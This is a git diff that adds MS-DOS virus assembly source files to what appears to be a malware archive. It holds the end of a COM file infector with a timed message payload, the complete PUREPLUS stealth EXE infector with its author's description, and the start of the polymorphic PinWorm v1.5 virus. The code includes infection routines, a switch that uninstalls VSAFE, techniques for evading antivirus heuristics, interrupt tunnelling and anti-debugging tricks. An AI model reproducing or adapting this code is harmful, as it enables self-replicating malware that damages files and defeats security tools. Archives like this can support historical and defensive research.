handle + mov ah,3Fh ; Save + mov cx, part1_size ; first part + mov dx, offset buffer ; to buffer + add dx, offset_off ; to be restored + push dx + int 21h ; later + + pop si ; Check for virus ID bytes + ; in the buffer + push si + lodsw ; DS:[SI] -> AX + cmp ax, virus_marker ; Compare it + jnz infect_it ; infect it if ID #1 not found + + lodsw ; Check next two bytes + cmp ax, virus_marker2 ; Compare it + jnz infect_it ; infect if ID #2 not found + pop si +bomb_out: + mov ah, 3Eh ; else close the file + int 21h ; and go find another + jmp find_next_file ; 'cuz it's already infected + +Signature db '\\ Merry Xmas and a happy new year // ' + db 'Sweden - Snowing Again' +;============================================================================= +;D-Good Stuff - Infection routine +;============================================================================= +infect_it: + ; save fileattr + pop si + add si, offset DTA + DTA_fileattr - offset buffer + mov di, si + add di, offset origattr - offset DTA - DTA_fileattr + movsb ; DS:[SI] -> ES:[DI] + movsw ; Save origtime + movsw ; Save origdate + movsw ; Save filesize + ; Only need LSW + ; because COM files + ; can only be up to + ; 65535 bytes long + cmp word ptr [si - 2], part1_size + jl bomb_out ; is less than 8 bytes. + +do_again: + mov ah, 2Ch ; get time + int 21h + add dl, dh ; 1/100 sec + 1 sec + jz do_again ; Don't want orig strain! + + mov si, offset encrypt_val + add si, offset_off + mov byte ptr [si], dl ; 255 mutations + + mov ax, 4301h ; Set file attributes + xor cx, cx ; to nothing + mov dx, si ; filename in DTA + add dx, offset DTA + DTA_filename - offset encrypt_val + int 21h ; do it now, my child + + mov ah, 3Eh ; Close file + int 21h ; handle in BX + + mov ax, 3D02h ; Open file read/write + int 21h ; Filename offset in DX + jc bomb_out ; Damn! Probs + + mov di, dx + add di, offset oldhandle - offset DTA - DTA_filename + ; copy filehandle to + ; oldhandle + stosw ; AX -> ES:[DI] + xchg ax, bx ; file handle in BX now + + mov ah, 40h ; Write DS:[DX]->file + mov cx, part1_size - 4 ; number of bytes + mov dx, 0100h ; where code starts + int 21h ; (in memory) + + mov ah, 40h + mov si, di ; mov si, offset filesize + add si, offset filesize - 2 - offset oldhandle + add word ptr [si], 0100h + mov cx, 2 + mov dx, si + int 21h ; write jmp offset + + mov ax, [si] ; AX = filesize + sub ax, 0108h + + add si, offset buffer3 - offset filesize + push si + mov word ptr [si], ax + mov ah, 40h + mov cx, 2 + mov dx, si + int 21h + + mov ax, 4202h ; move file ptr + xor cx, cx ; from EOF + xor dx, dx ; offset cx:dx + int 21h + + call copy_rest_stuff + + pop si + add si, offset oldhandle - offset buffer3 + mov bx, word ptr [si] + mov ax, 5701h ; Restore + add si, offset origtime - offset oldhandle + mov cx, word ptr [si] ; old time and + add si, 2 + mov dx, word ptr [si] ; date + int 21h + + mov ah, 3Eh ; Close file + int 21h + + mov ax, 4301h ; Restore file + xor ch, ch + add si, offset origattr - offset origtime - 2 + mov cl, byte ptr [si] ; attributes + mov dx, si ; filename in DTA + add dx, offset DTA + DTA_filename - offset origattr + int 21h ; do it now + + jmp find_next_file2 + +GotoError: + jmp error + +Psycho: + + push es + mov byte ptr cs:[100h],0 ; Initialize fingerprint + xor bx, bx ; Zero BX for start + mov ax, cs +Init1: inc bx ; Increment search segment + mov es, bx ; value + cmp ax, bx ; Not installed if we reach + je Not_Installed_Yet ; the current segment + mov si, 100h ; Search segment for + mov di, si ; fingerprint in first + mov cx, 4 ; four bytes + repe cmpsb ; Compare + jne init1 ; If not equal, try another + jmp Quit_Init ; else already installed + +Not_Installed_Yet: + pop es + mov word ptr cs:[Counter], init_delay + mov word ptr cs:[D_Mess], 1 + +; Copy interrupt handler to beginning of code + mov si, offset _int_08_handler + add si, offset_off + mov di, Int_08_Start + mov cx, int_end - int_start + rep movsb ; DS:[SI]->ES:[DI] + + mov ax, 3508h ; Get int 8 handler + int 21h ; put in ES:BX + + mov cs:[duh], bx ; Save old handler + mov cs:[duh+2], es ; in cs:[104h] + + mov ax, 2508h ; Install new handler + mov dx, Int_08_Start ; from DS:DX + int 21h ; Do it + + push es + mov ax, ds:[2Ch] ; Deallocate program + mov es, ax ; environment block + mov ah, 49h + int 21h + pop es + + mov ax, 3100h ; TSR + mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4 + int 21h + int 20h ; In case of error +Quit_Init: + pop es +Error: ; On error, quit +Quit: +; if get drive, place it here (restore, and change to in the beginning). + mov ah, 3Bh ; Change directory + mov dx, offset root_dir ; to the root dir + add dx, offset_off + int 21h + + mov ah,3Bh ; Change directory + ; Return to orig dir + add dx, offset orig_path - offset root_dir + int 21h + +; Copy buffer back to beginning of file + mov si, dx + add si, offset buffer2 - offset orig_path + mov di, 0100h + mov cx, part1_end - part1_start + rep movsb + + mov di, 0100h + jmp di +int_start: +_int_08_handler proc far + push ax + push bx + push cx + push dx + push si + push ds + push es + pushf + dec word ptr CS:[Counter] ; Counter + jnz QuitNow +;ACTIVATION!!! + mov word ptr CS:[Counter], delay ; Reset counter + + ; Set up DS & ES to equal CS + push cs + pop ds + push cs + pop es + + mov si, offset Messages - offset int_start + int_08_start + mov cx, cs:D_Mess + xor ah, ah +LoopY_ThingY: + lodsb ; DS:SI -> AL + add si, ax ; ES:BP -> Next message to display + loop LoopY_ThingY + + lodsb + xchg si, bp + + xor cx, cx + mov cl, al ; Length of string + mov ax, 1300h ; + mov bx, 0070h ; Page 0, inverse video + xor dx, dx ; (0,0) + int 10h ; Display ES:BP + inc word ptr cs:[D_Mess] + cmp word ptr cs:[D_Mess], num_messages + jnz Sigh + mov word ptr cs:[D_Mess], 1 + +Sigh: mov cx, 30h +Sigh2: push cx + mov cx, 0FFFFh +DelayX: loop DelayX + pop cx + loop Sigh2 + xchg si, bp +QuitNow: + popf + pop es + pop ds + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr CS:duh + Messages db 0 + db 15, 'Another year passed by' + db 21, 'Another tear the willows cry' + db 22, 'to change the world we ever try' + db 26, 'to make a difference before we die' + db 38, '[PSYCHOSIS] Greets, Phalcon/Skism.' + db 40, '(c) 93/94 The Unforgiven / Immortal Riot' + +_int_08_handler endp +int_end: +part2_end: + +CODE ends + end part1_start \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.pureplus.asm b/MSDOS/Virus.MSDOS.Unknown.pureplus.asm new file mode 100644 index 00000000..cfe75c48 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pureplus.asm @@ -0,0 +1,508 @@ +cseg segment para public 'code' +pureplus proc near +assume cs:cseg + +;----------------------------------------------------------------------------- + +;designed by "Q" the misanthrope. + +;----------------------------------------------------------------------------- + +.186 + +ALLOCATE_HMA equ 04a02h +CLOSE_HANDLE equ 03e00h +COMMAND_LINE equ 080h +COM_OFFSET equ 00100h +CRITICAL_INT equ 024h +DENY_NONE equ 040h +DONT_SET_OFFSET equ 006h +DONT_SET_TIME equ 040h +DOS_INT equ 021h +DOS_SET_INT equ 02500h +EIGHTEEN_BYTES equ 012h +ENVIRONMENT equ 02ch +EXEC_PROGRAM equ 04b00h +EXE_SECTOR_SIZE equ 004h +EXE_SIGNATURE equ 'ZM' +FAIL equ 003h +FAR_INDEX_CALL equ 01effh +FILENAME_OFFSET equ 0001eh +FILE_OPEN_MODE equ 002h +FIND_FIRST equ 04e00h +FIND_NEXT equ 04f00h +FIRST_FCB equ 05ch +FLUSH_BUFFERS equ 00d00h +FOUR_BYTES equ 004h +GET_DTA equ 02f00h +GET_ERROR_LEVEL equ 04d00h +HARD_DISK_ONE equ 081h +HIDDEN equ 002h +HIGH_BYTE equ 00100h +HMA_SEGMENT equ 0ffffh +INT_13_VECTOR equ 0004ch +JOB_FILE_TABLE equ 01220h +KEEP_CF_INTACT equ 002h +KEYBOARD_INT equ 016h +MAX_SECTORS equ 078h +MULTIPLEX_INT equ 02fh +NEW_EXE_HEADER equ 00040h +NEW_EXE_OFFSET equ 018h +NULL equ 00000h +ONLY_READ equ 000h +ONLY_WRITE equ 001h +ONE_BYTE equ 001h +OPEN_W_HANDLE equ 03d00h +PARAMETER_TABLE equ 001f1h +READ_A_SECTOR equ 00201h +READ_ONLY equ 001h +READ_W_HANDLE equ 03f00h +REMOVE_NOP equ 001h +RESET_CACHE equ 00001h +RESIZE_MEMORY equ 04a00h +SECOND_FCB equ 06ch +SECTOR_SIZE equ 00200h +SETVER_SIZE equ 018h +SHORT_JUMP equ 0ebh +SIX_BYTES equ 006h +SMARTDRV equ 04a10h +SYSTEM equ 004h +SYS_FILE_TABLE equ 01216h +TERMINATE_W_ERR equ 04c00h +THREE_BYTES equ 003h +TWENTY_HEX equ 020h +TWENTY_THREE equ 017h +TWO_BYTES equ 002h +UNINSTALL equ 05945h +UN_SINGLE_STEP equ not(00100h) +VERIFY_3SECTORS equ 00403h +VOLUME_LABEL equ 008h +VSAFE equ 0fa01h +WRITE_A_SECTOR equ 00301h +WRITE_W_HANDLE equ 04000h +XOR_CODE equ (SHORT_JUMP XOR (low(EXE_SIGNATURE)))*HIGH_BYTE +PURE_CODE_IS_AT equ 00147h + +;----------------------------------------------------------------------------- + +bios_seg segment at 0f000h ;just some dummy area that was needed + org 00000h ;to have the compilier make a far jmp +old_int_13_addr label word ;directive EAh later on +bios_seg ends + +;----------------------------------------------------------------------------- + + org COM_OFFSET ;com files seem to always start here +com_code: + +;----------------------------------------------------------------------------- + + jmp short disable_vsafe + +;----------------------------------------------------------------------------- + +dummy_exe_head dw SIX_BYTES,TWO_BYTES,NULL,TWENTY_HEX,ONE_BYTE,HMA_SEGMENT + dw NULL,NULL,NULL,NULL,NULL,TWENTY_HEX + ;simple EXE header that we have imbedded the virii into + +;----------------------------------------------------------------------------- + + org PURE_CODE_IS_AT ;here because many exe files have 00's after this location + +;----------------------------------------------------------------------------- + +ax_cx_di_si_cld proc near ;sets varables for modifying sector + mov di,bx ;ES:BX is int 13 sector set di to bx + add di,PURE_CODE_IS_AT-COM_OFFSET +ax_cx_si_cld: call set_si ;get location of code in HMA +set_si: pop si ;and subtract the offset + sub si,word ptr (offset set_si)-word ptr (offset ax_cx_di_si_cld) + mov cx,COM_OFFSET+SECTOR_SIZE-PURE_CODE_IS_AT + mov ax,XOR_CODE ;ah is value to xor MZ to jmp 015C + das ;set zero flag for the compare later on + cld ;clear direction + ret +ax_cx_di_si_cld endp + +;----------------------------------------------------------------------------- + + org high(EXE_SIGNATURE)+TWO_BYTES+COM_OFFSET + ;must be here because the MZ 4Dh,5Ah + ;.EXE header identifier gets changed to + ;jmp 015C EAh,5Ah by changing one byte + +;----------------------------------------------------------------------------- + +disable_vsafe proc near ;while we are here lets allow other virii + mov dx,UNINSTALL ;it sure is nice to have a simple + mov ax,VSAFE ;call to do this + int KEYBOARD_INT +disable_vsafe endp + +;----------------------------------------------------------------------------- + +alloc_memory proc near ;clear disk buffers so reads are done + mov ah,high(FLUSH_BUFFERS) + int DOS_INT ;from disk and not from memory + xor di,di ;set it to zero + mov ds,di ;to set the DS there + mov bh,high(SECTOR_SIZE) + dec di ;now set it to FFFFh + mov ax,ALLOCATE_HMA ;lets see how much memory is available + int MULTIPLEX_INT ;in the HMA - ES:DI points to begining + mov ax,SMARTDRV ;lets flush smartdrv as well for maximum + mov bx,RESET_CACHE ;infection. it sure is nice to have + int MULTIPLEX_INT ;a simple call to do this + mov bl,SIX_BYTES ;for setting int 1 to tunnel + inc di ;if dos <5.0 or no HMA di is FFFFh + jz find_name ;if no memory don't install + call ax_cx_si_cld ;get varables for copy to HMA + rep movs byte ptr es:[di],cs:[si] +alloc_memory endp ;then copy it to ES:DI in HMA + +;----------------------------------------------------------------------------- + +set_int_13 proc near ;setting int 1 vectors for tunnelling + mov ax,offset interrupt_one + xchg word ptr ds:[bx-TWO_BYTES],ax + push ax ;great way to set interrupts + push word ptr ds:[bx];just push them on the stack for latter + mov word ptr ds:[bx],cs + xchg cx,di ;cx was 0, di was last byte of HMA code + mov dl,HARD_DISK_ONE;doesn't really matter which drive + pushf ;save the flags with TF cleared + pushf ;push flags for simulated int 13 call + pushf ;push flags for setting TF + mov bp,sp ;get the stack pointer + mov ax,VERIFY_3SECTORS + or byte ptr ss:[bp+ONE_BYTE],al + popf ;set TF and direction and call int 13 + dw FAR_INDEX_CALL,INT_13_VECTOR + popf ;restore flags + pop word ptr ds:[bx];and int 1 vectors back + pop word ptr ds:[bx-TWO_BYTES] +set_int_13 endp ;now int 13 has our code hooked into it + +;----------------------------------------------------------------------------- + +find_name proc near ;now lets find out who we are to reload + mov ds,word ptr cs:[bx+ENVIRONMENT-SIX_BYTES] +look_for_nulls: inc bx ;ourselves to see if we are cleaned on the fly + cmp word ptr ds:[bx-FOUR_BYTES],di + jne look_for_nulls ;the plan is to goto the end of our +find_name endp ;environment and look for 2 nulls + +;----------------------------------------------------------------------------- + +open_file proc near ;open current program and read header + push ds ;to see if the header was restored back + push bx ;save the program name on the stack + mov ch,THREE_BYTES ;read in 768 bytes of header + call open_n_read_exe ;open, read cx bytes, close file ds:bx + push cs ;set es to cs for compare of sector + pop es ;to infected sector + mov bx,dx ;get varables set correctly for compare + call convert_back ;compare them and convert them back + pop dx ;get file name again + pop ds + jne now_run_it ;if int 13 converted it back then run it + push ds ;else save file name again on stack + push dx + mov ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ + call call_dos ;open current program for reads (don't set any alarms) + push bx ;save handle + int MULTIPLEX_INT ;get job file table for handle + mov dx,SYS_FILE_TABLE + xchg ax,dx ;done like this for anti TBAV hueristic scan + mov bl,byte ptr es:[di] + int MULTIPLEX_INT ;get SFT of handle to change ES:DI + pop bx ;get handle again + mov ch,high(SECTOR_SIZE) + mov ax,WRITE_W_HANDLE+DENY_NONE+ONLY_WRITE + cmpsw ;simple code to change open file to + stosb ;write back the cleaned header to file + mov dx,offset critical_error+COM_OFFSET + int DOS_INT ;this cleans the file if virii didn't load in HMA + or byte ptr es:[di+DONT_SET_OFFSET-THREE_BYTES],DONT_SET_TIME + call reclose_it ;set SFT to not change file date and time at close + pop dx ;get file name again from the stack + pop ds +open_file endp + +;----------------------------------------------------------------------------- + +now_run_it proc near ;setup the exec of current program again + push cs ;like a spawned file + pop es ;es now cs + mov bx,offset exec_table + mov ah,high(RESIZE_MEMORY) + int DOS_INT ;first resize memory + mov si,offset critical_error+COM_OFFSET+PARAMETER_TABLE + xchg bx,si ;set si to where the table varables are + mov di,bx ;set di to where 14 byte exec table is to be made + mov ax,EXEC_PROGRAM ;set ax for file execute +set_table: scasw ;advance 2 bytes in destination table + movs byte ptr es:[di],cs:[si] + scasb ;move a byte then check if next byte is nonzero + mov word ptr cs:[di],cs + je set_table ;fill in the code segment into table and jmp if still zero + call call_dos ;exec program again + mov ax,FIND_FIRST ;need to infect more EXE files + mov dx,offset exe_file_mask + mov cx,READ_ONLY+HIDDEN+SYSTEM+VOLUME_LABEL +find_next_file: call call_dos ;set cx to 15 to loop that many times + mov ah,high(GET_DTA);what was the old dta no need to set up a new one + int DOS_INT ;get it + add bx,FILENAME_OFFSET + push es ;get the filename into ds:bx + pop ds + call open_n_read_exe ;open, read cx bytes, close file ds:bx + mov ah,high(FIND_NEXT) + loop find_next_file ;loop until no more matches +done: mov ah,high(GET_ERROR_LEVEL) + int DOS_INT ;get spawned childs program errorlevel + mov ah,high(TERMINATE_W_ERR) +now_run_it endp ;and return with that same errorlevel + +;----------------------------------------------------------------------------- + +call_dos proc near ;routine to call dos + int DOS_INT ;call dos + jc done ;error in doing so then exit + xchg ax,bx ;set bx to ax for open file stuff + push cs ;set ds to cs + pop ds ;for all sorts of stuff + mov ax,JOB_FILE_TABLE + ret ;get job file table +call_dos endp ;(done here for anti TBAV hueristic scan) + +;----------------------------------------------------------------------------- + +exec_table db COMMAND_LINE,FIRST_FCB,SECOND_FCB + ;these are used to create the 14 byte exec + ;table to rerun program + +;----------------------------------------------------------------------------- + +open_n_read_exe proc near ;opens file at ds:bx reads cx bytes then closes + mov dx,bx ;set dx to bx for dos call to open file + mov ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ + call call_dos ;just open it for reading (don't sound any alarms) + mov dx,offset critical_error + mov ax,DOS_SET_INT+CRITICAL_INT + int DOS_INT ;see that the call_dos set ds to cs for setting critical error handler + inc dh ;just some dummy area outside in the heap to read the header of the file to + mov ah,high(READ_W_HANDLE) + int DOS_INT ;read it +reclose_it: mov ah,high(CLOSE_HANDLE) + jmp short call_dos ;goto close it +open_n_read_exe endp + +;----------------------------------------------------------------------------- + +interrupt_one proc far ;trace interrupt to imbed into int 13 chain at FFFF:???? + cmp ax,VERIFY_3SECTORS + jne interrupt_ret ;if not doing int 13 stuff just leave + push ds ;push varables on stack + pusha + mov bp,sp ;make bp the sp + lds si,dword ptr ss:[bp+EIGHTEEN_BYTES] + cmp word ptr ds:[si+ONE_BYTE],FAR_INDEX_CALL + jne go_back ;compare the instruction to a far call function + mov si,word ptr ds:[si+THREE_BYTES] + cmp word ptr ds:[si+TWO_BYTES],HMA_SEGMENT + jne go_back ;compare the address of the call to segment FFFFh + cld ;if match then cx is pointing to the far call EAh at + mov di,cx ;the end of virii that needs to be updated + movsw ;move the address to our code + movsw ;far addresses are 4 bytes long + sub di,word ptr (offset far_ptr_addr)-word ptr (offset int_13_entry) + org $-REMOVE_NOP ;now patch in our code into the call chain. only need to change offset because segment is already FFFFh + mov word ptr ds:[si-FOUR_BYTES],di + and byte ptr ss:[bp+TWENTY_THREE],high(UN_SINGLE_STEP) +go_back: popa ;no longer need to singel step + pop ds ;pop off varables +critical_error: mov al,FAIL ;set al to fail for critical error handler (al is a fail 03h anyway from above code ax verify_3sectors 0403h) +interrupt_ret: iret ;dual useage of iret. critical error and int 1 +interrupt_one endp ;after running int 1 routine through an int 13 chain we should be hooked in + +;----------------------------------------------------------------------------- + +exe_file_mask db '*.E*',NULL ;.EXE file mask (doesn't need to be specific) also anti TBAV hueristic scan + +;----------------------------------------------------------------------------- + +convert_back proc near ;will convert virii sector es:bx back to clean sector + call ax_cx_di_si_cld ;get all them varables + repe cmps byte ptr cs:[si],es:[di] + jne not_pure ;does it compare byte for byte with our code + xor byte ptr ds:[bx],ah + call ax_cx_di_si_cld ;if it does change the jmp 015C to an MZ EXE header signature + rep stosb ;and zero out all the code +not_pure: ret ;go back to where you once belonged +convert_back endp + +;----------------------------------------------------------------------------- + +convert_to proc near ;will convert sector ds:bx into virii infected + pusha ;save varables onto stack + stc ;say that we failed + pushf ;push failed onto the stack + mov ax,EXE_SIGNATURE;done this way for anti TBAV hueristic scan + cmp word ptr ds:[bx],ax + jne not_exe_header ;if not an EXE header then not interested + mov ax,word ptr ds:[bx+EXE_SECTOR_SIZE] + cmp ax,MAX_SECTORS ;is size of EXE small enough to run as a COM file + ja not_exe_header ;if not then not interested + cmp al,SETVER_SIZE ;was the file the length of SETVER.EXE if so then not interested + je not_exe_header ;(won't load correctly in CONFIG.SYS if SETVER.EXE is infected) + cmp word ptr ds:[bx+NEW_EXE_OFFSET],NEW_EXE_HEADER + jae not_exe_header ;was it a new EXE header (Windows etc) if so then not interested + call ax_cx_di_si_cld ;get all them varables + pusha ;save'em + repe scasb ;was there nothin but 00's at offset 71 to 512 of the sector + popa ;get'em again + jne not_exe_header ;if not then not interested + xor byte ptr ds:[bx],ah + rep movs byte ptr es:[di],cs:[si] + popf ;if all criteria were met for infection then modify sector in memory and insert virii + clc ;pop off the fail indicator + pushf ;and push on the passed indicator +not_exe_header: popf ;get passed/failed indicator + popa ;get varables from stack + ret ;go back to where you once belonged +convert_to endp + +;----------------------------------------------------------------------------- + +interrupt_13 proc far ;will read the sectors at es:bx and infect them if necessary and or clean them on the fly +int_13_entry: cmp ah,high(READ_A_SECTOR) + jb call_old_int_13 ;only interested in reads, writes and verifys + cmp ah,high(VERIFY_3SECTORS) + ja call_old_int_13 ;if otherwise then go to old int 13 + push ds ;save ds + push es ;so we can make ds the same as es and save a few bytes + pop ds + call convert_to ;try to convert it to a virii sector + pushf ;set up for interrupt simulation + push cs ;push the cs onto the stack for the iret + call call_old_int_13 ;if command was to write then an infected write occured else memory got overwritten with the read + pushf ;save the result of the int 13 call + call convert_to ;does it need to be converted to a virii sector + pusha ;save the varables onto the stack + jc do_convertback ;if not then see if it needs cleaning + mov ax,WRITE_A_SECTOR + pushf ;now lets write the virii infected sector back to disk + push cs ;simulate an int 13 execution + call call_old_int_13 ;and do it +do_convertback: call convert_back ;does the sector need to be cleaned on the fly + popa ;if it just wrote to the disk then it will need to be cleaned + popf ;or if it is a virii infected sector then clean it + pop ds ;pop off the varables and the result of int 13 simulation done above + retf KEEP_CF_INTACT ;then leave this routine with the carry flag intact +interrupt_13 endp + +;----------------------------------------------------------------------------- + +signature db 'Q' ;must leave my calling card + +;----------------------------------------------------------------------------- + + org COM_OFFSET+SECTOR_SIZE-ONE_BYTE + ;must be a far jmp at the last of the sector + ;the address of the jmp is in the heap area + ;and is filled in by the int 1 trace routine + +;----------------------------------------------------------------------------- + +call_old_int_13 proc near ;far call to actual int 13 that is loaded in the HMA by DOS + jmp far ptr old_int_13_addr +call_old_int_13 endp + +;----------------------------------------------------------------------------- + + org COM_OFFSET+SECTOR_SIZE + ;overwrites the address of above but that address + ;is not necessary until the virii goes resident in the HMA + +;----------------------------------------------------------------------------- + +goto_dos proc near ;this is our simple EXE file that we infected + mov ax,TERMINATE_W_ERR + nop ;it just simply ends +far_ptr_addr: int DOS_INT ;terminate program +goto_dos endp + +;----------------------------------------------------------------------------- + +pureplus endp ;close up and go home +cseg ends +end com_code + +;----------------------------------------------------------------------------- + +Virus Name: PUREPLUS +Aliases: +V Status: New, Research Viron +Discovery: March, 1994 +Symptoms: None - Pure Stealth +Origin: USA +Eff Length: 441 Bytes +Type Code: OReE - Extended HMA Memory Resident Overwriting .EXE Infector +Detection Method: None +Removal Instructions: See Below + +General Comments: + + The PUREPLUS virus is a HMA memory resident overwriting direct action + infector. The virus is a pure 100% stealth virus with no detectable + symptoms. No file length increase; overwritten .EXE files execute + properly; no interrupts are directly hooked; no change in file date or + time; no change in available memory; INT 12 is not moved; no cross + linked files from CHKDSK; when resident the virus cleans programs on + the fly; works with all 80?86 processors; VSAFE.COM does not detect + any changes; Thunder Byte's Heuristic virus detection does not detect + the virus; Windows 3.1's built in warning about a possible virus does + not detect PUREPLUS. + + The PUREPLUS is a variation of the PURE virus that will cause + VSAFE.COM to uninstall. + + The PUREPLUS virus will only load if DOS=HIGH in the CONFIG.SYS file. + The first time an infected .EXE file is executed, the virus goes + memory resident in the HMA (High Memory Area). The hooking of INT 13 + is accomplished using a tunnelling technique, so memory mapping + utilities will not map it to the virus in memory. It then reloads the + infected .EXE file, cleans it on the fly, then executes it. After the + program has been executed, PUREPLUS will attempt to infect 15 .EXE + files in the current directory. + + If the PUREPLUS virus is unable to install in the HMA or clean the + infected .EXE on the fly, the virus will reopen the infected .EXE file + for read-only; modify the system file table for write; remove itself, + and then write the cleaned code back to the .EXE file. It then + reloads the clean .EXE file and executes it. The virus can not clean + itself on the fly if the disk is compressed with DBLSPACE or STACKER, + so it will clean the infected .EXE file and write it back. It will + also clean itself on an 8086 or 8088 processor. + + It will infect an .EXE if it is executed, opened for any reason or + even copied. When an uninfected .EXE is copied, both the source and + destination .EXE file are infected. + + The PUREPLUS virus overwrites the .EXE header if it meets certain + criteria. The .EXE file must be less than 62K. The file does not + have an extended .EXE header. The file is not SETVER.EXE. The .EXE + header must be all zeros from offset 71 to offset 512; this is where + the PUREPLUS virus writes it code. The PUREPLUS virus then changes + the .EXE header to a .COM file. Files that are READONLY can also be + infected. + + To remove the virus from your system, change DOS=HIGH to DOS=LOW in + your CONFIG.SYS file. Reboot the system. Then run each .EXE file + less than 62k. The virus will remove itself from each .EXE program + when it is executed. Or, leave DOS=HIGH in you CONFIG.SYS; execute + an infected .EXE file, then use a tape backup unit to copy all your + files. The files on the tape have had the virus removed from them. + Change DOS=HIGH to DOS=LOW in your CONFIG.SYS file. Reboot the + system. Restore from tape all the files back to your system. diff --git a/MSDOS/Virus.MSDOS.Unknown.pw15.asm b/MSDOS/Virus.MSDOS.Unknown.pw15.asm new file mode 100644 index 00000000..1549d00b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pw15.asm @@ -0,0 +1,1085 @@ + +; **Beta Code** +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ------ +; PiļWéRM v1.5 coded by ūirogen °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° +; ž Variant A °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ------ +; +; See enclosed NFO for more info.. +; +; version 1.5: +; ž Conditional compilation equates added for creation of new variants +; ž Improved polymorphic engine +; ž Fixed possible bug in polymorphic engine after 50 or so generations +; +; +; compile like so: +; TASM /m pinworm +; Tlink pinworm +; --convert to COM-- +; + +cseg segment + assume cs: cseg, ds: cseg, es: cseg, ss: cseg + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Compile Options °°°°°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +SECOND_CRYPT equ 0 ; use second cryptor? +INCLUDE_INT3 equ 1 ; include INT 3 in garbage code? + ; (slows the loop down alot) +KILL_AV equ 1 ; Kill AVs as executed? +KILL_CHKLIST equ 1 ; Kill MSAV/CPAV checksum filez? +TWO_BYTE equ 1 ; Use two byte garbage code? +KILL_DATE equ 19 ; day of the month to play with user +MAX_EXE equ 4 ; max exe file size -high byte +MSG_FILEZ equ 10 ; number of filenames for our msg + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Polymorphic Engine Equates °°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +INC_BUF_SIZE equ 38 ; INC buf +ENC_OP_BSIZE equ 38 ; ENC buf +PTR_BUF_SIZE equ 38 ; PTR buf +CNT_BUF_SIZE equ 38 ; CNT&OP +DJ_BUF_SIZE equ 38 ; DEC&JMP +GARBAGE_OPS equ 0Fh ; # of garbage ops in each group + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Misc. °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +enc_size equ offset first_crypt-offset encrypt +enc2_size equ offset code_start-offset first_crypt +signal equ 0FA01h ; AX=signal/INT 21h/installation chk +vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API +real_start equ offset dj_buf+3 ; starting location of encryted code + + +org 0h + +start: +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Polymorphic Encryptor/Decryptor Buffer +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; + encrypt: + ptr_buf db PTR_BUF_SIZE dup (90h) + encryptor: + cnt_buf db CNT_BUF_SIZE dup(90h) + enc_loop: + inc_buf db INC_BUF_SIZE dup(90h) + enc_op_buf db ENC_OP_BSIZE dup(90h) + dj_buf db DJ_BUF_SIZE dup (90h) + ret_byte db 090h ; C3h or a NOP equiv. +first_crypt: ; end of first cryptor + + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Second Decryptor - Anti-Debugging °°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ž Uses reverse direction word XOR encryption +; ž Uses the following techniques: +; š JMP into middle of operand +; š Replace word after CALL to kill stepping over call +; š Kills INT 1 vector +; š Disables Keyboard via Port 21h +; š Reverse direction encryption prevents stepping past loop +; š Uses SP as a crucial data register in some locations - if +; the debugger uses the program's stack, then it may very well +; phuck thingz up nicely. +; š Uses Soft-Ice INT 3 API to lock it up if in memory. +; + sti ; fix CLI in garbage code + db 0BDh ; MOV BP,XXXX +bp_calc dw 0100h + push ds es ; save segment registers for EXE +IF SECOND_CRYPT + push ds +dbg1: jmp mov_si ; 1 + db 0BEh ; MOV SI,XXXX +mov_si: db 0BEh ; MOV SI,XXXX +rel2_off dw offset heap+1000h ; org copy: ptr way out there + call shit +add_bp: int 19h ; fuck 'em if they skipped + jmp in_op 